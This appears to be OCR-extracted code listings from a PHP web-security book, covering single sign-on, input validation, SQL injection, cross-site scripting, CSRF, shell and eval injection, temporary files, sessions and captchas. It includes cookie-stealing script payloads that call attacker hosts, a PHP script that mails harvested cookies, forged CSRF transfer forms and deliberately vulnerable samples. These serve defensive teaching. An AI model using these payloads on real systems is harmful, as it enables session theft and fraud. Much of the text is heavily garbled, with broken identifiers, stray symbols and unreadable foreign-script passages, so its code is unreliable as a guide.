$request = $this->decodeMessage( $encodedMessage, $remoteCertificate,
$keyPassphrase );

// decode and save request
$request = explode( '::', $request );
$this->request = $request;

// return the request array
return $request;
} // end of discoverRequest() method
// class singleSignOn continues
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// continues class singleSignOn

// encodeMessage() encodes a message using the recipient's certificate
// $message is any string
// $remoteCertificate is the recipient's certificate (public key)
public function encodeMessage ( $message, $remoteCertificate,
$keyPassphrase ) {
// sign message using local server's private key
$signedMessage = $this->openSSL->sign( $message, $keyPassphrase );

// generate another key to use for encryption
$encryptionKey = $this->nonce();

ARR#



..‘.: 1 1 P o - . . s > ’E. .“j'
dﬁ‘ﬂ:;;’m |j§.>u C.',q'ﬁ-\.c 6““"‘:“":"“ ‘5‘.&‘5}_{-\_{'%‘ rRLY K JL‘J\M ‘5LAJL:J.% GJL“CJ"" 0y )d e)‘ngA Sleds ‘v-’ﬁd-“p

// encrypt the message using blowfish

$blowfish = new mcrypt( 'blowfish' );

$blowfish->setKey( $encryptionKey );

$encryptedMessage = trim( $blowfish->encrypt( $signedMessage ) );

// encrypt the encryption key using the secure server's certificate
$this->openSSL->certificate( $remoteCertificate );
$sslEncryptedkey = $this->openSSL->encrypt( $encryptionKey );

// put it all together
$encodedMessage = "$sslEncryptedKey::$encryptedMessage”;
return $encodedMessage;
} // end of encodeMessage() method
// class singleSignOn continues
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// continues class singleSignOn
// decodeMessage() decodes a message encoded using encodeMessage(),
// using the recipient's private key
public function decodeMessage ( $message, $remoteCertificate,

// split fullMessage

list( $sslEncryptedkey, $encryptedMessage ) = explode(

$keyPassphrase ) {

11", $message );

// decrypt the encryptionKey
$encryptionKey = $this->openSSL->decrypt( $sslEncryptedKey,
$keyPassphrase );

// decrypt the blowfish-encrypted message

$blowfish = new mcrypt( 'blowfish' );

$blowfish->setKey( $encryptionkey );

$signedMessage = $hlowfish->decrypt( $encryptedMessage );

// verify signature
$this->openSSL->certificate( $remoteCertificate );
$decodedMessage = $this->openSSL->verify( $signedMessage );
if ( !$decodedMessage ) {

exit( "ERROR - Invalid message, unverified.” );

}

// return decoded, verified message
return $decodedMessage;
} // end of decodeMessage() method
// class singleSignOn continues
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// continues class singleSignOn
public function getRequestCommand() {
return $this->request[0];

}

public function getRequestReturn() {
return $this->request[1];

}

// looks in the local certificate directory
// for a copy of the remote certificate
// certificate naming convention is $this->certDir/hostname-port.crt
public function getCertificate( $remoteURI ) {
$parsed = parse url( $remoteURI );
if ( enpty( $parsed['port'] ) ) {
if ( $parsed['scheme'] == 'https' ) {
$parsed|['port'] = 443;
}
else {
$parsed[ 'port'] = 80;
}
}
$certificate = $this->certDir . '/' . $parsed[host] .
‘-' . $parsed[port] . '.crt';
if ( !is readable( $certificate ) ) {
exit("Cannot read certificate file
for remote ($remoteURI) signon server: $certificate");
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}

return file get contents( $certificate );
} // end of getCertificate() method

public function redirect( $url ) {
if ( !headers sent() ) {
header ('HTTP/1.1 401 Authorization Required');
header('Location: '.$url );
}
print '<a href=""' . $url .
exit();
} // end of redirect() method

L L)

>Please click here to continue.</a>';

} // end of singleSignOn class
>
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<?php

// use session to keep state
session start();

// config

$expect = 'Authorize';

$clientURI = "http://www.example.org/ssoClient.php';
$serverURI = "https://ssl.example.org/ssoServer.php';
$clientCert = 'www.example.org-80.crt';

$clientKey = 'www.example.org-80.key';
$clientKeyPassphrase = '1234";

$serverCert = 'ssl.example.org-443.crt’;

// main

// handle logout

if ( lempty( $ GET['logout'] ) ) {
unset( $_SESSION[ 'username'] );
}

// ssoClient.php continues
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// continues ssoClient.php

// not logged in yet?

if ( empty( $_SESSION[ 'username'] ) ) {
require once( 'singleSignOn.php' );

// load local certificate and key
$localCertificate = file get contents( $clientCert );
$localkey = file get contents( $clientKey );

// create new singleSignOn instance
$client = new singleSignOn( $localCertificate, $localKey );

// no token from the server, redirect
if ( empty( $ GET['sso'] ) ) {
print '<h3>Please log in using our secure server:</h3>';

// make request
// makeRequest( command, to, from, keypassphrase )
$client->makeRequest( 'login', $serverURI, $clientUrl,
$clientKeyPassphrase );
exit();
}

// ssoClient.php continues
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/1 continues ssoClient.php
else {
// decode request
// discoverRequest( from, keypassphrase )
$client->discoverRequest( $serverlUrl, $clientKeyPassphrase );
$command = $client->getRequestCommand();

A gt o0

/! check for expected command
if ( substr( $command, 0, strlen($expect) ) != $expect ) {
exit( 'Invalid sso token.' );

}
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else {
// log in using provided username
$ SESSION['username'] = trim( substr( $command, strlen($expect) ) );
}
}
}
2>

<h3>Hello <?=$ SESSION['username']?>. <a href="?logout=1">logout</a></h3>»
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<?php

// use session to track state
session start();

// config

$expect = 'Authorize’;

$clientUrl = 'http://www.example.org/ssoClient.php’;
$serverUrl = 'https://ssl.example.org/ssoServer.php';
$clientCert = 'www.example.org-80.crt';

$serverCert = 'ssl.example.org-443.crt’;

$serverkKey = 'ssl.example.org-443.key';
$serverKeyPassphrase = '1234';

// main

require once( 'singleSignOn.php' );

$localCertificate = file get contents( $serverCert );
$localkey = file get contents( $serverKey );

$server = new singleSignOn( $localCertificate, $localKey );
// ssoServer.php continues
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// continues ssoServer.php
// form processor, skip on first pass
if ( lempty( $ POST['submit'] ) ) {

// get original return address from session
$request = $ SESSION['ssoRequest'];
$to = $request[1]; // original request['return’]

//
// authenticate username and password here... unshown
//

// build command
$command = "Authorize $ POST[username]";

// send command to return address
print '<h3>Authenticated, redirecting back to insecure
with authorize token</h3>';
$server->makeRequest( $command, $clientUrl, $serverUrl,
$serverKeyPassphrase );
exit();
}

// ssoServer.php continues
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// continues ssoServer.php

// discover command

$request = $server->discoverRequest( $clientUrl, $serverKeyPassphrase );
$command = $server->getRequestCommand();

if ( !$command ) exit( 'No command found.' );

// put request in session
$ SESSION['ssoRequest'] = $request;
n <&
// command login:
7>
<h1>This is a secure server...</h1>
<p>...acting on behalf of
<a href="<2=$server->getRequestReturn()?>">
<?=$server->getRequestReturn()?></a>.</p>
<p>Please <?=$server->getRequestCommand()?> below.</p>
<form action="" method="post">
username: <input type="text" name="username" /><br>
password: <input type="password" name="password" /><br>
<input type="submit" name="submit" value="login" />
</form>
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// get the number of bytes being used on disk
$path = '/path/to/directory’
$bytes = shell exec( '/bin/du -s ' . escapeshellarg( $path ) );
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--- get rid of the test database, which is accessible to anyone from anywhere
DROP DATABASE test;

--- deal now with the mysql database, which contains administrative information
USE mysql;

--- check that privilege specifications for test® databases exist
SELECT * FROM db WHERE Db LIKE 'test®’;

--- and delete them

DELETE FROM db WHERE Db LIKE 'testk';
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--- check that anonymous users exist for this server
SHOW GRANTS FOR ''@'localhost';

--- revoke their privileges

REVOKE ALL ON *.* FROM ''@'localhost’;

--- and delete them

DELETE FROM user WHERE User = "' and Host = 'localhost’;

--- do the same for any anonymous users on your own server
--- !11 be sure to replace example.com with your own server name !!!
DELETE FROM user WHERE User = "' and Host = 'example.com’;

--- do the same for root on your own server

--- !11 be sure to replace example.com with your own server name !!!
REVOKE ALL ON *.* FROM 'root'@'example.com’;

DELETE FROM user WHERE User = 'root' and Host = 'example.com’;

--- clean up by clearing any caches
FLUSH PRIVILEGES;
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<form id="editObject">
name: <input type="text" name="name" /><br />

<?php
if ( $username == 'admin' ) {
print 'delete: <input type="checkbox” name="delete" value="Y" /><br />';
}
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<input type="submit" value="Submit" />
</form>
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// set admin flag

if ( $auth->isAdmin() ){
$admin = TRUE;

}
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if ( $admin ) {
// do administrative tasks
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<Files ".ht*">
deny from all
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<?php
$expected = array( 'carModel', 'year', 'bodyStyle' ); n%%‘%§
foreach( $expected AS $key ) { ;§
if ( lempty( $ _POST[ $key ] ) ) {
${$key} = $ POST[ $key 1;
}
else {
${skey} = NULL;
}
}
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<?php

// user interface
$expected = array( 'carModel', 'year', 'bodyStyle' );

// administrator interface
if ( $admin ) {
$expected[] = 'profit’;

) %%

foreach( $expected AS $key ) { 255>
if ( lempty( $ POST[ $key ] ) ) { é%@
${skey} = $ POST[ $key 1; De
}
else {
${$key} = NULL;
}

}

Al a3l ol ) g by s

2>
B AN
&.LJS\L;}«JVSL}A C)b. %wbb ﬁJL&A UL§:)>'- Q)jﬁoachi.z w‘duu.;))&

Q
\3@% $2909 S 9 dsb g8 6,Y,¥

&Gciy6UHQQ§ELJCQd@évbjbju&ﬂhg}UJgﬁfeﬂzth;Q4{6LfK&

&l ak \% ES 3l Ll L oas g e &S Al e B3 518 ol pl it (e 5

¢ )u I e e P U R e i eS| LT TR TS| 2 V- PW-L o P WS PR

@ J:{LQJJ:-WCCMA‘)LE.D‘J)_}&CMJEijb
&‘,S L;“Jﬁ A)Y)")

RS EYe) V.:.Mj;'- LQOIC‘};&:,-P'L;.})‘))J{‘JLEA ol s

\55

\



gk yc/bin;l Cis
\dadedz il g satS e failw

| g Cu e ‘_;\.AW ‘5\.&‘5,1.3.;%] iS5 Sl adl  gilecpml o) 55 0 lde Sleds

s, &,Y,%)
il ady SO WS e G &S Ly daea PHP o lael aub g 658 (p el el
oslatul 5,50 Oliabl Cgmr U155 o 1, Ols_String oS andy Vool slie 51 pan Jy 055 J&
Gl o e i Olge wslael (2 0L Led PHP asle 4 oS dies s Oloj dim a als 513
L ool Oempty LT aS asl ol ol s p Gl S O3 Slatdy S s i oS-

\ F%LSE

3l dal g 13

if ( isset( $value ) 8& $value !== NULL ) { )
// $value is a (possibly empty) string according to PHP

}
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$year = $ POST['year'];

if ( lis_int( $year ) ) exit ( "$year is an invalid value for year!" );
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if ( gettype( $year ) != 'integer' ) {
exit ( "$year is an invalid value for year!" );

}
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exit ( "$year is an invalid value for year!" );
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Test Value
'something' 12345 "

if ( $var ) TRUE TRUE FALSE
if ( lempty( $var ) ) TRUE TRUE FALSE
if (($var ="' ) TRUE TRUE FALSE
if ( strlen( $var) != 0 ) TRUE TRUE FALSE
if (isset( $var ) ) TRUE TRUE TRUE
if ( is_string( $var ) ) TRUE FALSE TRUE
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<?php

// set up array of expected values and types
$expected = array( 'carModel'=>'string', 'year'=>'int',
"imagelocation'=>"'filename' );
Sv
/! check each input value for type and length
foreach ( $expected AS $key=>$type ) {
if ( empty( $ GET[ $key ] ) ) {
${$key} = NULL;
continue;
}
switch ( $type ) {
case 'string' :
if ( is_string( $ GET[ $key ] ) && strlen( $ GET[ $key ] ) < 256 ) {
${$key} = $_GET[ $key ];
}
break;
case 'int' :
if ( is_int( $ GET[ $key ] ) ) {
${$key} = $ _GET[ $key 1;
}
break;
case 'filename' :
// 1limit filenames to 64 characters
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if ( is_string( $ _GET[ $key ] ) & strlen( $ GET[ $key ] ) < 64 ) {
// escape any non-ASCII
${$key} = str replace( '%', ' ', rawurlencode( $ GET[ $key ] ) );
// disallow double dots
if ( strpos( ${$key}, '..' ) === TRUE ) {
${$key} = NULL;
}
}

break;

}
if ( lisset( ${skey} ) ) {
${$key} = NULL;
}
}

// use the now-validated input in your application
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<?php

$expected = array( 'carModel', 'year', 'bodyStyle' );
foreach( $expected AS $key ) {
if ( lempty( $ GET[ $key ] ) ) {
${$key} = mysql real escape string( $ GET[ $key ] );

}
}
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<?php

function escapelIt( $temp ) {
define ( 'BACKSLASH', '\' );
// more constants

// use | as a custom escape character t%?
$temp = str replace( BACKSLASH, '[\', $temp );
// more escaping

return $temp;

}
$expected = array( 'carModel', 'year', 'bodyStyle' );

foreach( $expected AS $key ) {
if ( lempty( $ GET[ $key 1) ) {
${$key} = escapeIt( $ GET[ $key ] );
h
}
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<?php

$applicationPath = '/home/www/myphp/code/";
$scriptname = $_POST['scriptname'];
highlight file( $applicationPath . $scriptname );

>
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// retrieve the user's input
$animalName = $_POST['animalName'];
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// connect to the database
$connect = mysqli connect( 'localhost’, ‘username', 'password', 'database' );
if ( !$connect ) exit( 'connection failed: ' . mysqli connect error() );

// create a query statement resource
$stmt = mysqli_prepare( $connect,
"SELECT intelligence FROM animals WHERE name = ?" );

f( $stmt ) {
// bind the substitution to the statement

mysqli_stmt_bind param( $stmt, "s", $animalName );

// execute the statement
mysqli stmt_execute( $stmt );

/! retrieve the result...
mysqli stmt_bind result( $stmt, $intelligence );

// ...and display it
if ( mysqli_stmt fetch( $stmt ) ) {

print "A $animalName has $intelligence intelligence.\n";
I else {

print 'Sorry, no records found.';

}

// clean up statement resource
mysqli stmt close( $stmt );
}

mysqli_close( $connect );
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$animalName = $ POST[ 'animalName'];

$mysqli = new mysqli( 'localhost', ‘username', 'password', 'database');
if ( !$mysqli ) exit( 'connection failed: ' . mysqli_connect error() );

$stmt = $mysqli->prepare( "SELECT intelligencews
FROM animals WHERE name = 7" );

if ( $stmt ) {
$stmt->bind param( "s", $animalName );
$stmt->execute();
$stmt->bind result( $intelligence );

if ( $stmt->fetch() ) {

print "A $animalName has $intelligence intelligence.\n";
} else {

print 'Sorry, no records found.';

}

$stmt->close();
}

$mysqli->close();
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<?php

// protection function to be tested
function safe( $string ) {
return "'" . mysql real escape string( $string ) .

}

// connect to the database

IITTTITEIEEEIE ]
// attempt an injection
LILITIETIEIILE 7]
$exploit = "lemming' AND 1=1;";

// sanitize it
$safe = safe( $exploit );
.o v
$query = "SELECT * FROM animals WHERE name = $safe”;
$result = mysql query( $query );

// test whether the protection has been sufficient
if ( $result && mysql num rows( $result ) == 1) {
exitt "Protection succeeded:\n
exploit $exploit was neutralized.";
}
else {
exit( "Protection failed:\n
exploit $exploit was able to retrieve all rows." );

}
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¢!-- Start of StatCounter Code -->
<script type="text/javascript" language="javascript">
var sc_project=##;
var sc_partition=#it#;
var sc_security="#H}";
</script>
<script type="text/javascript" language="javascript"
src="http://ww.statcounter.com/counter/counter.js">
</script>
<noscript>
<a href="http://www.statcounter.com/" target=" blank">
¢img src="http://c6.statcounter.com/counter. php=
?sc_project=f##&amp;amp; java=0&amp;amp; security=#"
alt="html hit counter" border="0" />
</a>
</noscript>
<!-- End of StatCounter Code -->
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(new Image).src="http://reallybadguys.com/gotcha.php?'+document.cookie;
</script>
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<?php

$exploit = "
¢script>
(new Image).src = 'http://reallybadguys.com/gotcha.php?' + document.cookie;
</script>

$exploit = urlencode( $exploit );
$uri = 'http://c6.statcounter.com/t.php?sc_project=iiiiee
&security=###duser=" . $exploit;

$result = file get contents( $uri );
print $result;
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Hello from sunny California!
<div style="position: absolute;
top: Opx;
left: opx;
background-color: white;
color: black;
width: 100%;
height: 100%; ">
<h1>Sorry, we're carrying out maintenance right now.</h1>
<a href="#" onclick="javascript:window.location ==
'http://reallybadguys.net/cookies.php?cookie=" + document.cookie;">
Click here to continue.
</a>
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<?php

$cookie = $ GET['cookie'];

$uri = $ SERVER['HTTP_REFERER']

mail( 'gotcha@reallybadguys.net', 'We got another one!’,
"Go to $uri and present cookie $cookie." );

header( 'Location: '.$uri );
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Click here to continue.
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<a href="http://shopping.example.com/oneclick.php?action=buy&item=236">
Special Reductions!</a>
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<table background="http://shopping.example.com/addToCart.php?item=236">
<tr><td>Thanks for visiting!</td></tr>

</table>
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<form action="http://example.com/addToCart.php" method="post">
<h2>Search</h2>
<input type="text" name="query" size="20" />
<input type="hidden" name="item[]" value="236" />

<input type="submit" value="Submit" /> t%?
</form>
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<?php

function safe( $value ) {
htmlentities( $value, ENT QUOTES, ‘utf-8' );
// other processing
return $value;

}

// retrieve $title and $message from user input
$title = $ POST['title'];
$message = $_POST[ 'message'];

// and display them safely
print '<h1>' . safe( $title ) . '</h1>

<p>' . safe( $message ) . '</p>';

>

sl O 4 ol o3ls g Sldie & g | =zl ¢ htmlentities() b S S e Jl
S Sallslr 03558 mle i 53 5 555 HTML 05 50 wlsl Bl WelS el pl S e

aas oo yle 1y 63505 Sl edal Cawes 0 peul Lokl s caslsl 3 A sl

Y\V



gk yc/bin;l Cis
\dadedz il g satS e failw

Corge &S AS o Jb Ll 4 | S 5 S8 U8 B oldle eees htmlentities() =t
J.J:M\Fﬂ)u.<.w¢fdw\tyj3ﬁcﬁ€;-w\¢iﬂ.u)\dhﬁ.1¢\

<input type="text" name="myval" value="<?= safe( $myval ) >" />
<input type='text' name='yourval' value='<?= safe( $yourval ) ?>' />
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<?php

$trustedHosts = array(
"example.com',
'another.example.com’
);

$trustedHostsCount = count( $trustedHosts );

function safeURI( $value ) {

$uriParts = parse url( $value );
for ( $i = 0; $i < $trustedHostsCount; $i++ ) { o
if ( $uriParts['host'] === $trustedHosts[$i] ) {

retum $value :5£>
} u}
} d
$value .= ' [' . $uriParts['host'] . ']'; §;££>P

return $value;

}

// retrieve $uri from user input
$uri = $_POST['uri'];

// and display it safely
echo safeURI( $uri );
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<?php
if ( $ SERVER['HTTP_REFERER'] != $ SERVER['HTTP_HOST'] ) {
exit( 'That form may not be used outside of its parent site.' );

}
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<form action="https://bank.example.com/transfer.php” method="post">
<!-- pretend to search -->
<h1>Search the Bank Website</h1>
<input type="text" name="query" size="52" />
¢!-- but actually, make transfer -->
<input type="hidden" name="toacct" value="54321" />

N\
<input type="hidden" name="amount" v;iue="$1ooo.oo" />
<br />
<input type="submit" value="Submit" />
</form>
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<?php

$title = $ POST[ 'title'];
$message = $ POST[ 'message’];

function safe( $value ) {
// private interface?

if ( $_SERVER['HTTP_HOST'] === 'private.example.com' ) {
// make all markup visible :%?
$value = htmlentities( $value, ENT QUOTES, 'utf-8' ); %

}

else {

// allow italic and bold and breaks, strip everything else
$value = striptags( $value, '<em><strong><br>' );

}

return $value;

}

I
<h1><?= safe( $title ) ?></h1>
<p><?= safe( $message ) ?></p>
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Common Name Character ASCII Hexadecimal URL HTML Entity
Encoded

Newline 10 \x03 %03 &#10;
Bang orexclamation ! 33 \x21 %21 &it33;
mark
Double quotation ! M \x22 %22 &i#34; or Agquot;
mark
Dollar sign S 6 \x24 %24 &i36;
Ampersand & a8 \x26 %26 &#38; or &amp;
Apostrophe orsingle ; a9 \x27 27 &#39;
quotation mark
Left parenthesis { 40 \x28 %28 &it40;
Right parenthesis ) 41 \x23 %23 Ait41;
Asterisk42 \x23 %23 8#42;
Hyphen - 45 \x2d %24 B#45;
Semicolon 3 59 \x3b %30 &#59;
Left angle bracket < 60 \x3c %3c &#60; or Alt;
Right angle bracket > 62 \x3e $3e &#62; or Bgt;
(Question mark ? 63 \x3f 3f &#63;
Left square bracket | 91 \x5b %5b &i91;
Backslash \ 92 \x5¢ 25¢ A#92;
Right square bracket ] 93 \x5d 254 &#93;
Circumflex accent A 91 \x5e %5e &i#94;
or caret
Backtick : 96 \x60 260 &#a6;
Left curly bracket | 123 \x7b %7b B#123;
Pipe orvertical line | 124 \x7c %7c &f124;
Right curly bracket ] 125 \x7d %74 &#125;
Tilde - 126 \x7e %7e Ar126;
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<?php

// get the word count of the requested file

$filename = $ GET['filename'];

$command = "/usr/bin/wc $filename”; ng%‘%?

$words = shell exec( $command );

print "$filename contains $words words."; Eﬁ)
?> QZ;>Q§P
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<?php
// use this function to sanitize input for eval()

function safeForEval( $string ) {
// newline check
$nl = chr(10);
if ( strpos( $string, $nl1 ) ) {
exit( "$string is not permitted as input." );
}
$meta = array( ‘$%5 {5 3 [ 1% T )
$escaped = array('&#36', '&#123', '&#125', '&H#91', '&#93', '&#96', '&#59' );
// addslashes for quotes and backslashes
$out = addslashes( $string );
// str replace for php metacharacters
$out = str replace( $meta, $escaped, $out );
return $out;

}
2>
U7
Lt il 16 b il e s Lt ,"Sb@t{ Lt 53555 LT 46 A8 n o ) 55 Lot

Ol a4 o J S a5 g8 » s, » SaferFOrEval() s 5 ol o S
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en">
<head>
<title>safeForEval() test</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>
<body>
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<2php

function safeForfval( $string ) {
// newline check
$nl = chr(10);
if ( stxpos( $string, $nl ) ) {
exit{ "$string is not permitted as imput." );
}
$meta = array( '$', "{', '}, [ "1 UL ST )
$escaped = array('8#36', '8#123", '&#125°, '&#o1’, '&#93', '&#96', '&#59' );
// addslashes for quotes and backslashes
Sout = addslashes( $string ); %
/! str_replace for php metacharacters Q
fout = str_replace( Smeta, $escaped, Sout ); @@

return Sout;

} E
nu
/1 simple classes ))>>

class cup {
public $contents;

public function _ construct() {
Sthis->contents = "'milk’;
}
}

class pint extends cup {
public function _ construct() {

$this->contents = 'beer';

}
}

class mug extends cup {
public function _ construct() {
$this-»>contents = 'coffee';

}
}

/] get user input
/] declare a default value in case user doesn't enter input
$type = "pint’;
if ( lempty( $ POST['type'] ) ) {
$type = $ POST["type'];
}
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// sanitize user input
$safeType = safeForEval( $type );

// create object with a PHP command sent to eval()
$command = "\$object = new $safeType;";

eval( $command );

// $object is of class $safeType

2>
<h3>Your new <?= get class( $object ) ?> has <?= $object->contents 2> o t%f
in it.</h3>
<hr /> :5£>
<form method="post"> %3?
Make a new <input type="text" name="type" size="32" />
<input type="submit" value="go" />
</form>
</body>
</html>
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<?php

include( "http://source.example.net/myapp/common.php’ );
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en">

<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>escapeshellarg() demo</title>

</head>

<body>

<?php

// configuration: location of server-accessible audio é%?
$audioroot = '/var/upload/audio/’; Q

// configuration: location of sox sound sample translator :i;;b
$sox = '/usr/bin/sox'; )

// process user input

if ( lempty( $_POST ) ) {
// collect user input
$channels = $ POST['channels'];
$infile = $ POST['infile'];
$outfile = $ POST[ 'outfile'];

// check for existence of arguments
if ( empty( $channels ) ) {
$channels = 1;
3
N =/
if ( empty( $infile ) || empty ( $outfile ) ) {
exit( 'You must specify both the input and output files!' );

}

// confine to audio directory

if ( strpos( $infile, '..' ) !== FALSE || strpos( $outfile, '..' ) !== FALSE ) {
exit( 'Illegal input detected.' );

}

$infile = $audioroot . $infile;
$outfile = $audioroot . $outfile;

// escape arguments

$safechannels = escapeshellarg( $channels );
$safeinfile = escapeshellarg( $infile );
$safeoutfile = escapeshellarg( $outfile );

// build command
$command = "$sox -c $safechannels $safeinfile $safeoutfile";

// echo the command rather than executing it, for demo
exit( "<pre>$command</pre>" );

// execute
$result = shell exec( $command );

// show results
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print "<pre>Executed $command:\n $result\n</pre>";
}
else {
>
<h3>Encode Audio</h3>
<p>This script uses sox to encode audio files from <?=$audioroot?>.<br />
Enter the input and output file names, and optionally set the number of
channels in the input file. <br />
Output file extension will determine encoding.</p>
<form method="post">

<p>input channels: t%?
<select name="channels"> )
<option value="">auto</option> :g
<option value="1">mono</option>
<option value="2">stereo</option>
</select>
</p>
<p>input file: <input type="text" name="infile" size="16" /></p>
<p>output file: <input type="text" name="outfile" size="16" />
<input type="submit" value="encode" /></p>
</form>

Sony VY

<?

}

2>
</body>
</html>
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ArgDemo.php

<?php

// configuration: location of server-accessible audio
$audioroot = '/var/upload/audio/’;

// configuration: location of sox sound sample translator
$sox = '/usr/bin/sox’;

// process user input
if ( lempty( $_POST ) ) {
// collect user input
$channels = $ POST['channels'];
$infile = $ POST['infile'];
$outfile = $ POST['outfile'];
=\

// check for existence of arguments
if ( empty( $channels ) ) {
$channels = 1;
}
if ( empty( $infile ) || empty ( $outfile ) ) {
exit( 'You must specify both the input and output files!' );

}

// confine to audio directory

if ( strpos( $infile, '.." ) l== FALSE || strpos( $outfile, '.."' ) !== FALSE ) {
exit( 'Illegal input detected.' );

}

$infile = $audioroot . $infile;
$outfile = $audioroot . $outfile;

// build command
$command = "$sox -c $channels $infile $outfile";

// escape command
$command = escapeshellcmd( $command );
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// echo the command rather than executing it, for demo
exit( "<pre>$command</pre>" );

// execute
$result = shell exec( $command );

// show results
print "<pre>Executed $command:\n $result\n</pre>";

// end if ( lempty( $ POST ) )
}
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<?php

$htmlBody = '<em>Hello</em>';

$pattern = "/(<\/2)(\wt)([*>]*>)/e";

$replacement = "'"\\1' . strtoupper('\\2"') . "\\3'";

$newHTML = preg replace( $pattern, $replacement, $htmlBody);
echo $newHTML;
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<?php

// retrieve the first name entered by the clerk
$firstname = 'Beth’';

// partial template for demonstration
$template = 'Dear [firstname],';

// template engine:

// pattern: find something in brackets, and use e for eval()

// WARNING: this pattern contains a vulnerability for demonstration purposes g%g t%?
$pattern = "/\[(.+)\]/e";

// replacement: prepend a $ to the backreference, creating a PHP variable

$replace = "\$\\1";

$output = preg replace( $pattern, $replace, $template );

// output
print $output;
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<?php

// define the parts of the filename
define ('TMP DIR','/tmp/');
$prefix = 'skiResort';

// construct the filename
$tempFilename = uniqid( $prefix, TRUE );

// create the file %%

touch( $tempFilename ); E%P

// restrict permissions i;&éﬁ
chmod ( $tempFilename, 0600 );

// now work with the file
// ... assuming data in $value
file put contents( $tempFilename, $value );

{ T

// when done with temporary file, delete it
unlink ( $tempFilename );
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<?php

// for demonstration, reuse data from createUniqidTempfile.php
$pathPrefix = '/tmp/skiResort’;

// for demonstration, construct a secret here
$secret = 'Today is ' . date( "1, d F." );
$randomPart = shai( $secret );

$tempFilename = $pathPrefix . $randomPart;

touch( $tempFilename );
chmod ( $tempFilename, 0600 );

// now work with the file
// ... assuming data in $value
file put contents( $tempFilename, $value );

R

// when done with temporary file, delete it
unlink ( $tempFilename );
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<Directory /var/www/myapp/tmp> §\§52>
<FilesMatch "\.ph(p(3]4)?|tml)$">
order deny,allow 5(>b
deny from all
</FilesMatch>
</Directory>
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<?php

if ( filesize( $tempFilename ) === 0 ) {
// write to the file

} else {

exit ( "$tempFilename is not empty.\nStart over again.");

} L3
>
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<?php

// write something to the file; then hash it
$hashnow = shai file( $tempFilename );

$ SESSION[ 'hashnow'] = $hashnow;

// later, get ready to write again
$hashnow = shai file( $tempFilename );
if ( $hashnow === $ SESSION['hashnow'] ) {
// write to the file again
// get and save a new hash
$hashnow = shai file( $tempFilename );
$ SESSION[ "hashnow'] = $hashnow;
} else {
exit ( "Temporary file contains unexpected contents.\nStart over again.");

}
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<?php

if ( is uploaded file( $ FILES['userfile']['tmp name'] ) ) {
echo 'The file in temporary storage is the one that was uploaded.’;
} else {

echo 'There is some problem with the file in temporary storage!’;

}
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<?php

// create

o)

temporary file

$tempname = '/tmp/mytestfile’;
$tempfile = fopen( $tempname, 'w+' );
furite( $tempfile, 'hello\n' );
fclose( $tempfile );

// attempt to protect from hijacking by hashing the file contents
$hash = sha1 file( $tempname );
N2
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// attempt to hijack the file
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// depending on what you want to test for, you might have another script
// or some command line utility or ftp/scp do this.

file put contents( $tempname, 'and goodbye' );

sleep( 2 );

// test whether the protection has been sufficient
$newhash = shal file( $tempname );
if ( $hash === $newhash ) {
exit( "Protection failed:\n
We did not recognize that the temporary file has been changed." );

}
else {
exit( "Protection succeeded:\n
We recognized that the temporary file has been changed." );
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<?php

session start();

$test = 'hello ';

$ SESSION['testing'] = 'and hello again';

echo 'This is session ' . session id() . '<br />';

?>
<br />
<a href="sessionDemo2.php">go to the next script</a>
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This is still session <?= session id() ?><br />
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The value of $ SESSION[ 'testing'] is "<?= $ SESSION[ ‘testing'] 2>."
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<?php

// regenerate session on successful login

if ( lempty( $ POST['password'] ) && $ POST['password'] === $password ) {
// if authenticated, generate a new random session ID
session regenerate id();

// set session to authenticated
$ SESSION[ 'auth'] = TRUE;

// redirect to make the new session ID live
header( 'Location: ' . $ SERVER[ 'SCRIPT NAME'] );

// take some action
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// generate a nonce
// using a random value concatenated with the current time
$nonce = md5( rand( 0, 65337 ) . time() );

// make it easier on the user by only using the first six characters of the nonce
$nonce = substr( $nonce, 0, 6 );

// store the nonce in the session
$ SESSION[ 'nonce'] = $nonce;
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b e &S L el s captchas.net oy o 5l eSSl = 5
<%
<img src="http://image.captchas.net?client=<?= $client ?>8key=<?= $nonce ?>" w
alt="Type in the letters you see here." />
e

 Sclient oo s o s
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<?php

// retrieve the stored $secret
// re-create the captcha target
$nonce = $_SESSION[ 'nonce'];
$stepl = $secret . $nonce;

// hash the resulting string
$step2 = mds( $step1 );

// retrieve the captcha target 3 t%?
$noncelength = strlen ( $nonce ); g

$target = NULL;
for ( $i = 0; $i < $noncelength; $i = $i+2 ) {
// convert to decimal
$byte = hexdec( substr( $stepz, $i, 2 ) );
// determine offset
$mod26 = $byte ¥ 26;
// calculate ASCII, convert to alphabetic, and insert into string
$char = chr( $mod26 + 97 );
$target .= $char;

}

// compare the re-created target to the user's response,
// and respond appropriately
if ( $target === $ POST['captcha'] ) {

print "<hi>Congratulations, Human!</h1>";

}

else {
print "<hi>Sorry, it actually said $target.</h1>";

}
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<?php

// create a session to store the target word for later
session start();

// flat file of words, one word per line
$dictionary = '/usr/share/dict/words');
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// get a random offset
$totalbytes = filesize( $dictionary );
$offset = rand(0, ($totalbytes - 32));

// open the file, set the pointer
$fp = fopen( $dictionary, 'r' );
fseek( $fp, $offset );

// probably in the middle of a word, so do two reads to get a full word
fgets( $fp );

$target = fgets( $fp );

fclose( $fp );

// store the word in the session
$ SESSION[ "target'] = $target;

// captchaGenerate.php continues

M‘J‘)JﬁJJ‘J&‘)MQMSLSJﬁJib‘U.[)V\%N
Sl 5 S e 5 0Ll g 1 bbb gl L

T J&)‘ﬁb}}##&b@&%é})ﬁb&u

S S oy ) Sl SO el s

~ L;"u’:c*:dib Q—i‘ NESLRB v_é:t.a.? Lg‘daijgi.i

S35 3 08l g TORLS() oM

(3l e sl saalS sl L;zﬁ;a;&l.ij 4S) LS o eslinal il bt sday ST G LGS

S ol S oK LI a5 okl (gaalS b A e oslizad TOELS() 51 o Lss L ane
